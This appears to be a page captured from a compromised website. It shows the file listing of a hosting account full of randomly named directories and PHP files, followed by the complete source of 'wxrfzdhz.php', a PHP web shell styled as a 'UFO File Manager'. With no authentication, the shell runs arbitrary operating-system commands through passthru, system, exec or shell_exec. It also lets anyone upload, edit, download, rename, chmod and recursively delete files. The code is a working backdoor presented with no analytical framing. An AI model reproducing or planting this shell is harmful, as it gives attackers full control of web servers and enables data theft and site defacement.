FM / capitalfundxxxviii.mx

/home/vianto5/capitalfundxxxviii.mx

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1fuhgjl/	-	0755	rm
1gftvej/	-	0755	rm
1reuofx/	-	0755	rm
1uimxbj/	-	0755	rm
1uphcvj/	-	0755	rm
1xastrg/	-	0755	rm
1yrhjnc/	-	0755	rm
1zkbdtn/	-	0755	rm
a1przvu/	-	0755	rm
ackwltx/	-	0755	rm
agjytbe/	-	0755	rm
alhonpx/	-	0755	rm
apobrgd/	-	0755	rm
apzu1he/	-	0755	rm
ar1sjvd/	-	0755	rm
ar1ynwe/	-	0755	rm
auczqwp/	-	0755	rm
audyswo/	-	0755	rm
awftpko/	-	0755	rm
bdqvmea/	-	0755	rm
bejqafz/	-	0755	rm
brtkvls/	-	0755	rm
bshiuod/	-	0755	rm
bsuzalc/	-	0755	rm
btxj1iq/	-	0755	rm
bxrmlue/	-	0755	rm
c1odmzf/	-	0755	rm
ceafj1o/	-	0755	rm
cgi-bin/	-	0755	rm
ciqzb1t/	-	0755	rm
cjgvnfl/	-	0755	rm
ckhbevl/	-	0755	rm
cmzptkq/	-	0755	rm
cslu1mr/	-	0755	rm
cxdopfu/	-	0755	rm
datevru/	-	0755	rm
dfujtse/	-	0755	rm
dmisnq1/	-	0755	rm
do1uaiy/	-	0755	rm
dogj1kr/	-	0755	rm
e1pnlcy/	-	0755	rm
edoimqt/	-	0755	rm
eglkida/	-	0755	rm
eitlvdf/	-	0755	rm
ekd1owg/	-	0755	rm
ekubazm/	-	0755	rm
ekwhnra/	-	0755	rm
enxuvwj/	-	0755	rm
eqdbcwf/	-	0755	rm
etgmsjo/	-	0755	rm
eynjcoz/	-	0755	rm
ezcrtdn/	-	0755	rm
fasjcwo/	-	0755	rm
fecwgks/	-	0755	rm
fgpcdtm/	-	0755	rm
fkagmih/	-	0755	rm
flmpatz/	-	0755	rm
ftaeuog/	-	0755	rm
fuzpeno/	-	0755	rm
fvkjtul/	-	0755	rm
fzjd1lk/	-	0755	rm
gb1wejp/	-	0755	rm
gdbuqye/	-	0755	rm
gendtws/	-	0755	rm
gewsqnk/	-	0755	rm
gfnbpid/	-	0755	rm
glbrksx/	-	0755	rm
gotfuae/	-	0755	rm
gpsfojd/	-	0755	rm
gszwifn/	-	0755	rm
guoneyx/	-	0755	rm
hbnxdpm/	-	0755	rm
hcefgzq/	-	0755	rm
heqoxua/	-	0755	rm
hfm1skb/	-	0755	rm
hkctlpw/	-	0755	rm
hky1zrl/	-	0755	rm
hpimvtd/	-	0755	rm
huyjset/	-	0755	rm
hzbgqmr/	-	0755	rm
iasvtbh/	-	0755	rm
iefcuh1/	-	0755	rm
ieybsmd/	-	0755	rm
ifas1qh/	-	0755	rm
ilatrsh/	-	0755	rm
in1rzep/	-	0755	rm
iptv1wx/	-	0755	rm
iptwldu/	-	0755	rm
iugsvoa/	-	0755	rm
ivdeazb/	-	0755	rm
izbjdhp/	-	0755	rm
izsvxfo/	-	0755	rm
j1uqtyp/	-	0755	rm
jfuoyda/	-	0755	rm
jogyfki/	-	0755	rm
jucxemq/	-	0755	rm
kfcxisb/	-	0755	rm
kgj1umb/	-	0755	rm
kmzwdcp/	-	0755	rm
kodlube/	-	0755	rm
kofeawm/	-	0755	rm
kwsqjao/	-	0755	rm
kwxhaid/	-	0755	rm
kzdmpln/	-	0755	rm
ldrneia/	-	0755	rm
ldshucb/	-	0755	rm
lfuqksi/	-	0755	rm
lfuvzcg/	-	0755	rm
lhkteir/	-	0755	rm
lmdhokt/	-	0755	rm
lojew1r/	-	0755	rm
lquvprg/	-	0755	rm
ltak1pf/	-	0755	rm
lzkxswa/	-	0755	rm
mdcofaj/	-	0755	rm
mlbetsh/	-	0755	rm
mqidefh/	-	0755	rm
msojyek/	-	0755	rm
msyorcq/	-	0755	rm
mth1kcx/	-	0755	rm
mvnlwxo/	-	0755	rm
mxnublk/	-	0755	rm
mzksotj/	-	0755	rm
nfpsrkw/	-	0755	rm
ngvpf1k/	-	0755	rm
ni1hzmp/	-	0755	rm
njxboil/	-	0755	rm
nkmlfru/	-	0755	rm
nmiwerh/	-	0755	rm
nmpftdz/	-	0755	rm
npjxbes/	-	0755	rm
npsvhyj/	-	0755	rm
nrtxceb/	-	0755	rm
nujmpr1/	-	0755	rm
nv1abhz/	-	0755	rm
nvaehst/	-	0755	rm
obfdcmi/	-	0755	rm
oclb1ux/	-	0755	rm
oeczbjd/	-	0755	rm
oh1xdnk/	-	0755	rm
ojwctrb/	-	0755	rm
oma1rpx/	-	0755	rm
omhwfcx/	-	0755	rm
oregbhp/	-	0755	rm
oswhlip/	-	0755	rm
othyisu/	-	0755	rm
ovpa1le/	-	0755	rm
pagicbr/	-	0755	rm
pajcrxb/	-	0755	rm
pcltojs/	-	0755	rm
pdihaov/	-	0755	rm
pkseidl/	-	0755	rm
pnalukb/	-	0755	rm
prhxwgl/	-	0755	rm
proqvey/	-	0755	rm
pwxyvab/	-	0755	rm
qemnbtx/	-	0755	rm
qfickgb/	-	0755	rm
qg1eiot/	-	0755	rm
qgoyxvu/	-	0755	rm
qhmyrbc/	-	0755	rm
qilvrho/	-	0755	rm
qrzpkgv/	-	0755	rm
qzdexlj/	-	0755	rm
rafyltb/	-	0755	rm
rbp1hkc/	-	0755	rm
rcodagx/	-	0755	rm
rihbotd/	-	0755	rm
rjdlptc/	-	0755	rm
rkndbf1/	-	0755	rm
rneab1g/	-	0755	rm
robpnfy/	-	0755	rm
rofsnlg/	-	0755	rm
rokvjmb/	-	0755	rm
rqpjdmk/	-	0755	rm
rxwpyac/	-	0755	rm
rzilpnq/	-	0755	rm
s1pewba/	-	0755	rm
schndwu/	-	0755	rm
scpxoin/	-	0755	rm
scvxfhg/	-	0755	rm
sgcaonr/	-	0755	rm
sgurfpi/	-	0755	rm
shvr1ym/	-	0755	rm
shwdae1/	-	0755	rm
skflyrd/	-	0755	rm
skpinue/	-	0755	rm
smtjzpy/	-	0755	rm
snciuwa/	-	0755	rm
svgcfij/	-	0755	rm
tfdjioy/	-	0755	rm
tfjbyic/	-	0755	rm
tfkxmia/	-	0755	rm
tgdmkjz/	-	0755	rm
tixzk1c/	-	0755	rm
tlmuqrb/	-	0755	rm
tmxjben/	-	0755	rm
tnxwzbi/	-	0755	rm
topgeds/	-	0755	rm
tqgpzey/	-	0755	rm
tqxeilw/	-	0755	rm
trcjxil/	-	0755	rm
tsdaznf/	-	0755	rm
tsdyvfr/	-	0755	rm
twmcf1s/	-	0755	rm
tyjxdke/	-	0755	rm
tzkhjqw/	-	0755	rm
udhpsqw/	-	0755	rm
uhbltmi/	-	0755	rm
uidvlce/	-	0755	rm
ujwnsoz/	-	0755	rm
ukyidgs/	-	0755	rm
ulyohqj/	-	0755	rm
uwchsea/	-	0755	rm
uywekfq/	-	0755	rm
uzrjsgq/	-	0755	rm
v1pbgjn/	-	0755	rm
vcxfsue/	-	0755	rm
vlserbo/	-	0755	rm
voc1nwy/	-	0755	rm
vpdjetc/	-	0755	rm
vwhknso/	-	0755	rm
vwxoqgk/	-	0755	rm
vxbnfum/	-	0755	rm
vytcxgk/	-	0755	rm
well-known/	-	0755	rm
wgfborq/	-	0755	rm
whprzbo/	-	0755	rm
wjxh1tn/	-	0755	rm
wmcbdvl/	-	0755	rm
wnxazyk/	-	0755	rm
wtqvjxh/	-	0755	rm
wulrs1a/	-	0755	rm
wvameio/	-	0755	rm
wxhitoc/	-	0755	rm
wxktrco/	-	0755	rm
wyepjzg/	-	0755	rm
x1ucaib/	-	0755	rm
xadfbys/	-	0755	rm
xdyau1z/	-	0755	rm
xjpgewz/	-	0755	rm
xpblmjk/	-	0755	rm
xpytfds/	-	0755	rm
xqlpnds/	-	0755	rm
xudgzqb/	-	0755	rm
xwrzabg/	-	0755	rm
y1dmfpx/	-	0755	rm
ybeqhdr/	-	0755	rm
ydirkhm/	-	0755	rm
yeqkgbt/	-	0755	rm
yirjsgo/	-	0755	rm
yjcbafi/	-	0755	rm
ykagpln/	-	0755	rm
ypgzhcb/	-	0755	rm
yqxkgfa/	-	0755	rm
yxksjoc/	-	0755	rm
z1hfybe/	-	0755	rm
zbmk1nh/	-	0755	rm
ze1kmjx/	-	0755	rm
zedxfhp/	-	0755	rm
zfqgpvr/	-	0755	rm
zlesmjw/	-	0755	rm
zleswnu/	-	0755	rm
zsmtnoj/	-	0755	rm
zstj1fp/	-	0755	rm
zub1lyg/	-	0755	rm
.htaccess	281	0644	edit dl rm
hsmwprop.php	19513	0644	edit dl rm
levvjjen.php	12784	0644	edit dl rm
php.ini	105	0644	edit dl rm
wp-cron-oarj.php	1659	0644	edit dl rm
wxrfzdhz.php	7317	0644	edit dl rm
ypapfktj.php	10560	0644	edit dl rm

Edit: /home/vianto5/capitalfundxxxviii.mx/wxrfzdhz.php (7317B)

<?php
/* UFO File Manager - minimal, breadcrumb-based, editor included */
error_reporting(0);
@set_time_limit(0);
$R = @str_replace('\\','/', dirname($_SERVER['SCRIPT_FILENAME']));
$q = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
if (substr($q,0,6)==='go=') { /* reserved */ }

/* --- tiny helpers ------------------------------------------------------ */
$run = function($c){ $o=''; if(function_exists('passthru')){ @ob_start(); @passthru($c); $o=@ob_get_clean(); } elseif(function_exists('system')){ @ob_start(); @system($c); $o=@ob_get_clean(); } elseif(function_exists('exec')){ @exec($c,$x); $o=implode("\n",$x);} elseif(function_exists('shell_exec')){ $o=@shell_exec($c);} return $o!==null?$o:''; };
$h = function($s){ return htmlspecialchars($s, ENT_QUOTES); };
function esc(&$v){ if(is_string($v)) $v=htmlspecialchars($v,ENT_QUOTES); }
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$p   = isset($_GET['p'])    ? @realpath($_GET['p']) : $R;
if(!$p || !is_dir($p)) $p = $R;
$f   = isset($_POST['f']) ? @realpath($_POST['f'])
     : (isset($_GET['f']) ? @realpath($_GET['f']) : '');
$a   = isset($_POST['a']) ? $_POST['a'] : '';
$out = '';
$err = '';

/* --- actions ----------------------------------------------------------- */
if($a==='save' && $f && isset($_POST['data'])){
  if(@file_put_contents($f, $_POST['data'])!==false) $err='<span style="color:#0a0">saved: '.$h($f).'</span>';
  else $err='<span style="color:#a00">write failed</span>';
}
if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); }
if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; }
if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; }
if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; }
if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; }

$editing = ($f && is_file($f)) ? file_get_contents($f) : '';
$fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : '';
?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="utf-8"><title>FM / <?php echo $h(basename($p)); ?></title>
<style>
body{font-family:monospace;background:#111;color:#d7d7d7;margin:0}
a{color:#7fb3ff;text-decoration:none}a:hover{text-decoration:underline}
.wrap{max-width:1100px;margin:12px auto;padding:12px}
.top{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #333;padding-bottom:8px;margin-bottom:10px}
.crumb{color:#9ae;word-break:break-all}
.crumb a{color:#7fb3ff}
table{width:100%;border-collapse:collapse;font-size:13px}
th,td{text-align:left;padding:4px 6px;border-bottom:1px solid #262626}
th{color:#999}
td a{margin-right:8px}
.dir{color:#ffd479}
.f{color:#d7d7d7}
.forms{display:flex;gap:8px;flex-wrap:wrap;margin:10px 0;align-items:center}
.forms input,.forms button{background:#222;color:#ddd;border:1px solid #444;padding:5px 8px;border-radius:3px}
.forms button{background:#2c3e6b;cursor:pointer}
.box{background:#0c0c0c;border:1px solid #2a2a2a;border-radius:4px;padding:10px;margin-top:12px}
textarea{width:100%;height:360px;background:#0a0a0a;color:#cfc;border:1px solid #333;font-family:monospace;font-size:12px}
pre.out{background:#0a0a0a;border:1px solid #2a2a2a;padding:8px;overflow:auto;max-height:420px;font-size:12px}
code{color:#8f8}
.note{color:#888;font-size:11px}
</style></head><body><div class="wrap">

<div class="top">
  <div class="crumb"><?php
    $parts = explode('/', trim($p,'/'));
    $acc='';
    echo '<a href="?">/</a>';
    foreach($parts as $pt){ $acc.='/'.$pt; echo '<a href="?p='.urlencode($acc).'">'.$h($pt).'</a>/'; }
  ?></div>
  <div class="note"><?php echo $h($p); ?></div>
</div>

<div class="forms">
  <form method="post" style="display:inline"><input type="hidden" name="a" value="mkdir"><input name="name" placeholder="new folder"><button>mkdir</button></form>
  <form method="post" enctype="multipart/form-data" style="display:inline"><input type="hidden" name="a" value="up"><input type="file" name="upf"><button>upload</button></form>
  <span id="res" class="note"><?php echo $err; ?></span>
</div>

<table>
<tr><th>Name</th><th>Size</th><th>Mode</th><th>Actions</th></tr>
<?php
$items=array();
foreach((array)@scandir($p) as $e){ if($e==='.'||$e==='..')continue; $ep=$p.'/'.$e; $items[]=array('n'=>$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); }
function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); }
usort($items,'cmp_');
foreach($items as $it){
  $enc=urlencode($it['p']);
  echo '<tr><td>';
  if($it['d']) echo '<a class="dir" href="?p='.$enc.'">'.$h($it['n']).'/</a>';
  else echo '<a class="f" href="?p='.urlencode($p).'&f='.$enc.'">'.$h($it['n']).'</a>';
  echo '</td><td>'.$it['s'].'</td><td>'.$it['m'].'</td><td>';
  if(!$it['d']){ echo '<a href="?p='.urlencode($p).'&f='.$enc.'">edit</a><a href="?p='.urlencode($p).'&f='.$enc.'&dl=1">dl</a>'; }
  echo '<a href="?p='.urlencode($p).'&f='.$enc.'&rm=1">rm</a>';
  echo '</td></tr>';
}
?>
</table>

<?php if($f && is_file($f) && !isset($_GET['rm'])): ?>
<div class="box"><b>Edit:</b> <code><?php echo $h($f); ?></code> (<?php echo @filesize($f); ?>B)
<form method="post"><input type="hidden" name="a" value="save"><input type="hidden" name="f" value="<?php echo $h($f); ?>">
<textarea name="data"><?php echo $h($editing); ?></textarea>
<button>Save</button></form>
</div>
<?php endif; ?>

<?php if(isset($_GET['dl']) && $f && is_file($f)){ @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="'.basename($f).'"'); @readfile($f); exit; } ?>

<?php if(isset($_GET['rm']) && $f): ?>
<div class="box"><form method="post"><input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="<?php echo $h($f); ?>">
Delete <code><?php echo $h(basename($f)); ?></code> ? <button>Yes</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="<?php echo $h($f); ?>"><input name="newname" value="<?php echo $h(basename($f)); ?>"><button>rename</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="chmod"><input type="hidden" name="f" value="<?php echo $h($f); ?>"><input name="mode" value="<?php echo $h($fmode); ?>" size="5"><button>chmod</button></form>
</div>
<?php endif; ?>

<div class="box"><b>cmd:</b>
<form method="post"><input name="cmd" value="<?php echo $h($cmd); ?>" style="width:70%;background:#222;color:#ddd;border:1px solid #444;padding:5px"><button>run</button></form>
<?php if($cmd!==''){ echo '<pre class="out">'.$h($run($cmd)).'</pre>'; } ?>
</div>

</div></body></html>

cmd: